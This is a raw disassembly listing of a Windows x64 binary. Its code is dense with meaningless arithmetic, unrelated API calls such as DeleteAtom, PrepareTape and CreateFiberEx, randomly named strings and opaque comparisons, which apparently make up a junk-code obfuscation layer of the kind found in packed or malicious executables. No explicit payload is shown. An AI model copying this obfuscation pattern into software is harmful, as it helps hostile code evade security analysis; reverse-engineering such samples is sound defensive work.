movzx ecx, word [rsp + 0x1b9c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1b9c], ax
mov dword [rsp + 0x5934], 0xa02b
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x5828], eax
movzx eax, word [rsp + 0x1bb8]
movzx ecx, word [rsp + 0x1188]
add eax, ecx
mov word [rsp + 0x1b94], ax
mov eax, dword [rsp + 0x58a0]
add eax, 0xa
mov dword [rsp + 0x58a0], eax
movzx ecx, word [rsp + 0x1bbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bd4], ax
mov rax, qword [rsp + 0xb458]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb388]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401773b8], ax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x39c], al
movzx eax, word [rsp + 0x1ba4]
movzx ecx, word [rsp + 0xfe8]
shl eax, cl
mov word [rsp + 0x1bcc], ax
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0xb350]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb348], rax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb498]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x92c8], rax
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5834]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b3c], eax
mov eax, dword [rsp + 0x58c4]
mov ecx, dword [rsp + 0x5904]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x57a8], eax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb3f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb188], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bc4], ax
movzx eax, byte [rsp + 0x3a5]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017703b], al
movzx ecx, word [rsp + 0x1bbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bfc], ax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x26c]
and eax, ecx
mov byte [rsp + 0x39d], al
mov rax, qword [rsp + 0xb388]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb400]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ba0], ax
cmp dword [rsp + 0x58a0], 0xa484
jne 0x140017588
movzx ecx, word [rsp + 0x1be4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1b9c], ax
mov rax, qword [rsp + 0xb498]
mov rax, qword [rax]
mov qword [rsp + 0xb4d8], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bb8], ax
mov rcx, qword [rsp + 0xb3b8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x58ac], eax
lea rcx, [rsp + 0x18810]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.zuR1MA_nCSO
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb4e0], rax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [0x1401773a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x58c4], eax
mov rax, qword [rsp + 0xb440]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9800]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb3f0]
mov rdx, qword [rsp + 0xb270]
mov rdx, qword [rdx]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
ja 0x14001790f
movzx eax, byte [rsp + 0x3a5]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3a1], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb38], ax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [0x1401773b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb130], rax
lea r8, [rsp + 0x5844]
mov rdx, qword [rsp + 0xb178]
mov rcx, qword [rsp + 0xb4e8]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov qword [rsp + 0xb4f0], rax
mov eax, dword [0x140183b44]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0xb2c0]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x4b3c]
mov rax, qword [rsp + 0xb420]
mov edx, dword [rax]
mov rax, qword [rsp + 0xb160]
mov ecx, dword [rax]
call fcn.14015b160
jmp 0x14015a2ce
mov eax, dword [rsp + 0x5814]
mov dword [rsp + 0x5938], eax
mov rax, qword [rsp + 0xb160]
mov ecx, dword [rsp + 0x4a48]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x48a8], eax
mov rcx, qword [rsp + 0xb308]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x5820], eax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39f]
add eax, ecx
mov byte [rsp + 0x21b], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1bcc], ax
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [rsp + 0x1b98]
xor eax, ecx
mov word [0x1401773b8], ax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0xb498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb350]
mov qword [rsp + 0xb4f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb4f8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb490], rax
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0xb350]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb368], rax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x58d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5904], eax
mov rax, qword [rsp + 0xb3f0]
mov rcx, qword [rsp + 0xb1c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2c0], rax
mov rcx, qword [rsp + 0xb308]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xb488]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x536c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5808], eax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3a5], al
movzx eax, word [rsp + 0xfe8]
movzx ecx, word [rsp + 0x1ba4]
sub eax, ecx
mov word [rsp + 0x1a2c], ax
movsx eax, word [rsp + 0x1bf4]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401773b8], ax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb180]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb348], rax
movzx ecx, word [rsp + 0x1be4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bc0], ax
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0xa240]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb360], rax
movzx eax, word [rsp + 0xb38]
movzx ecx, word [rsp + 0x1b20]
sar eax, cl
mov word [rsp + 0x1bd0], ax
mov rax, qword [rsp + 0xb420]
mov rcx, qword [rsp + 0xb488]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x492c], eax
mov eax, dword [0x140177394]
mov ecx, dword [rsp + 0x58d0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5938], eax
mov eax, dword [rsp + 0x5930]
sub eax, 0xbf
mov dword [rsp + 0x5930], eax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39d]
shl eax, cl
mov byte [rsp + 0x39a], al
mov rax, qword [0x140183b38]
mov rcx, qword [rsp + 0x9f48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb408], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rax, qword [rsp + 0xb458]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1be0]
and eax, ecx
mov word [rsp + 0x1bf4], ax
mov rax, qword [rsp + 0xb388]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb400]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401773b8], ax
movzx eax, byte [rsp + 0x3a3]
movzx ecx, byte [rsp + 0x69]
add eax, ecx
mov byte [rsp + 0x3a1], al
movzx eax, byte [rsp + 0x1fa]
movzx ecx, byte [rsp + 0x3a1]
add eax, ecx
mov byte [rsp + 0x39b], al
lea rcx, str.Ck8_KqLCS
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1bdc], ax
movzx eax, word [rsp + 0x1bb8]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bf0], ax
mov rax, qword [rsp + 0xb330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58b0], eax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xb440]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb270]
mov qword [rcx], rax
cmp dword [rsp + 0x5930], 0x1066
jae 0x14001791d
mov eax, dword [rsp + 0x4a48]
mov ecx, dword [rsp + 0x53f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x536c], eax
movzx eax, word [rsp + 0x1bcc]
mov dword [rsp + 0x593c], eax
cmp dword [rsp + 0x593c], 0xbb4
je 0x140017ce5
jmp 0x140017d0a
mov rax, qword [rsp + 0xb388]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba0]
and eax, ecx
mov rcx, qword [rsp + 0xb150]
mov word [rcx], ax
jmp 0x140017dc4
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1288], ax
lea rcx, [rsp + 0x18838]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rax, [rsp + 0xee]
mov qword [0x140183b20], rax
mov rax, qword [rsp + 0xb3a0]
mov rcx, qword [rsp + 0xb4d8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb348], rax
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0xb350]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb368], rax
mov rax, qword [rsp + 0xb498]
mov rax, qword [rax]
mov qword [rsp + 0xb500], rax
movzx eax, byte [rsp + 0x39c]
movzx ecx, byte [rsp + 0x39b]
shl eax, cl
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0xb140]
movzx eax, byte [rax]
mov byte [rsp + 0x3a6], al
mov rax, qword [rsp + 0xb488]
mov ecx, dword [rsp + 0x536c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x492c], eax
mov rax, qword [rsp + 0xb1b8]
mov rcx, qword [rsp + 0xb330]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb1b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb440]
mov rcx, qword [rsp + 0xb1c8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x96e8], rax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb458]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401773b8], ax
movzx eax, word [rsp + 0x1bb8]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1be8], ax
movsx eax, word [rsp + 0xfec]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ba0], ax
mov eax, dword [rsp + 0x5910]
add eax, 0x83
mov dword [rsp + 0x5910], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
movzx eax, byte [0x140183b48]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb1a8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1188]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfe8], ax
mov rax, qword [rsp + 0xb1b8]
mov rcx, qword [rsp + 0xb330]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5904], eax
mov rax, qword [rsp + 0xb440]
mov rcx, qword [rsp + 0xb270]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb440]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb420]
mov ecx, dword [rsp + 0x53f8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5834], eax
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb498]
mov qword [rsp + 0xb508], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb508]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb3a0], rax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14017703b], al
movzx eax, word [rsp + 0x1be8]
movzx ecx, word [rsp + 0xaec]
xor eax, ecx
mov rcx, qword [rsp + 0xb1d8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb2e8], rax
mov rax, qword [rsp + 0xb388]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bf4]
shl eax, cl
mov word [rsp + 0x1ba0], ax
lea rcx, [rsp + 0x19548]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x5910], 0x260c
jb 0x140017e1c
lea rax, [rsp + 0x39f]
mov qword [rsp + 0xb510], rax
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
cqo
movabs rcx, 0x70a5cd9f16c2b5
idiv rcx
mov qword [rsp + 0xb3a0], rax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov qword [rsp + 0xb518], rax
mov rax, qword [rsp + 0xb488]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x536c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x492c], eax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov dword [rsp + 0x5940], eax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39c]
add eax, ecx
mov byte [rsp + 0x3a0], al
mov rax, qword [rsp + 0xb398]
mov qword [rsp + 0xb520], rax
movabs rax, 0x71507cea2eb6b9
cmp qword [rsp + 0xb520], rax
je 0x1400180af
movabs rax, 0x7d94bcffae07a2
cmp qword [rsp + 0xb520], rax
je 0x1400180f0
jmp 0x14001814b
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140177390], ax
mov rax, qword [rsp + 0xb388]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xfec], ax
jmp 0x14001814b
mov rax, qword [rsp + 0xb498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa240]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb320], rax
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x536c]
mov rax, qword [rsp + 0xb200]
mov r8d, dword [rax]
mov rax, qword [rsp + 0xb200]
mov edx, dword [rax]
mov rax, qword [rsp + 0xb160]
mov ecx, dword [rax]
call fcn.14015b160
cmp dword [rsp + 0x5920], 0xdc3e
jb 0x140018401
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0xb368]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb350]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb388]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb458]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bd8], ax
mov rax, qword [rsp + 0xb488]
mov ecx, dword [rsp + 0x48a8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb2c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb440]
mov rcx, qword [rsp + 0xb188]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb130], rax
mov eax, dword [rsp + 0x5920]
sub eax, 0x25
mov dword [rsp + 0x5920], eax
mov eax, dword [rsp + 0x58c4]
mov ecx, dword [0x1401773a0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x57c8], eax
movzx eax, word [rsp + 0x1a2c]
movzx ecx, word [rsp + 0x1bcc]
sar eax, cl
mov rcx, qword [rsp + 0xb480]
mov word [rcx], ax
movzx eax, byte [rsp + 0x3a1]
movzx ecx, byte [reloc.SHELL32.dll_PathMakeUniqueName]
shl eax, cl
mov byte [0x14017703b], al
mov rax, qword [rsp + 0xb368]
mov rcx, qword [rsp + 0x92c8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0f0], rax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb510]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x39d], al
movzx eax, word [0x1401773bc]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfe8], ax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb3d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb2b8]
mov ecx, dword [0x1401773a0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5938], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xc289
mov rcx, qword [rsp + 0xb1b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x58c0], eax
mov rax, qword [rsp + 0x9f48]
mov rcx, qword [rsp + 0xb3f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2c0], rax
mov rax, qword [rsp + 0xb2c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x492c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5834], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba8]
sub eax, ecx
mov word [rsp + 0x1bf4], ax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfe8]
sub eax, ecx
mov word [0x140177390], ax
movsx eax, word [rsp + 0x1be0]
movsx ecx, word [rsp + 0x1ba0]
sub eax, ecx
mov word [rsp + 0x1bb0], ax
movzx eax, byte [rsp + 0x3a1]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb1a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa240]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb350]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0xb2b0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb4d0], rax
mov edx, 0x266163
mov rcx, qword [rsp + 0xb2d0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x58fc], eax
jmp 0x14001814b
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb1e0]
shl rax, cl
mov qword [rsp + 0xb130], rax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb2b8]
mov qword [rsp + 0xb528], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb528]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5938], eax
mov eax, dword [rsp + 0x536c]
mov ecx, dword [rsp + 0x5834]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a48], eax
movzx eax, word [rsp + 0x1bf0]
movzx ecx, word [0x1401773a4]
add eax, ecx
mov word [rsp + 0x1be8], ax
movsx eax, word [rsp + 0x1be0]
mov rcx, qword [rsp + 0xb258]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401773b8], ax
movsx eax, byte [rsp + 0x39a]
movsx ecx, byte [rsp + 0x39f]
add eax, ecx
mov byte [rsp + 0x3a6], al
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0xb368]
mov rcx, qword [rsp + 0xb3a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb250], rax
movzx eax, word [rsp + 0xaec]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1be8], ax
mov rax, qword [rsp + 0xb330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x58a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5894], eax
mov rax, qword [rsp + 0xb440]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb408]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb3f0], rax
movzx ecx, word [rsp + 0x1bb4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bdc], ax
mov rax, qword [rsp + 0xb160]
mov ecx, dword [rsp + 0x5834]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x53f8], eax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1be0]
sar eax, cl
mov word [0x1401773b8], ax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb4d8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa240], rax
movsx eax, word [rsp + 0xfec]
mov rcx, qword [rsp + 0xb400]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1bf4], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
lea rdx, [rsp + 0xb460]
mov rcx, qword [rsp + 0xb290]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x5944], eax
movzx eax, byte [rsp + 0x3a3]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1fa], al
mov edx, 0x30d416
mov rcx, qword [rsp + 0xb1b0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x5838], eax
movzx eax, word [rsp + 0x1288]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaec], ax
mov rax, qword [rsp + 0xb2c0]
mov ecx, dword [rsp + 0x53f8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x48a8], eax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xb188]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb130], rax
mov eax, dword [rsp + 0x58d0]
mov ecx, dword [0x1401773a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5814], eax
mov rax, qword [rsp + 0xb510]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x21b], al
lea rdx, [rsp + 0x1a220]
mov rcx, qword [rsp + 0xb3b8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x5870], eax
movsx eax, word [rsp + 0x1bd8]
movsx ecx, word [0x1401773b8]
sub eax, ecx
mov word [rsp + 0x1b98], ax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140183b48], al
movzx eax, word [rsp + 0xaec]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb480]
mov word [rcx], ax
mov eax, dword [rsp + 0x57c4]
add eax, 0xfe
mov dword [rsp + 0x57c4], eax
mov rax, qword [rsp + 0xb498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb350]
mov qword [rsp + 0xb530], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb530]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb348], rax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb498]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x92c8], rax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb2b8]
mov qword [rsp + 0xb538], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb538]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5814], eax
mov rcx, qword [rsp + 0xb478]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x5948], eax
mov rax, qword [rsp + 0xb2c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5808]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5834], eax
cmp dword [rsp + 0x57c4], 0xd38a
jb 0x14001842c
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0x96e8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb1c8], rax
movzx eax, word [rsp + 0x1288]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b94], ax
mov rax, qword [rsp + 0xb388]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb400]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1be0], ax
movzx eax, byte [reloc.SHELL32.dll_PathMakeUniqueName]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140177038], al
mov rax, qword [rsp + 0x92c8]
mov rcx, qword [rsp + 0xb138]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb4d8], rax
mov rax, qword [rsp + 0xb2b0]
mov rcx, qword [rsp + 0xb500]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb350]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1bd0]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bcc], ax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb130]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb3f0], rax
mov rax, qword [rsp + 0xb330]
mov ecx, dword [rsp + 0x58ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x57b0], eax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb510]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x21b], al
mov eax, dword [rsp + 0x492c]
movzx ecx, al
mov eax, dword [0x140183b44]
shl eax, cl
mov dword [rsp + 0x5808], eax
movsx eax, word [rsp + 0x1be0]
movsx ecx, word [rsp + 0x1bf8]
xor eax, ecx
mov word [rsp + 0x1ba8], ax
lea rcx, [rsp + 0x19548]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x39e]
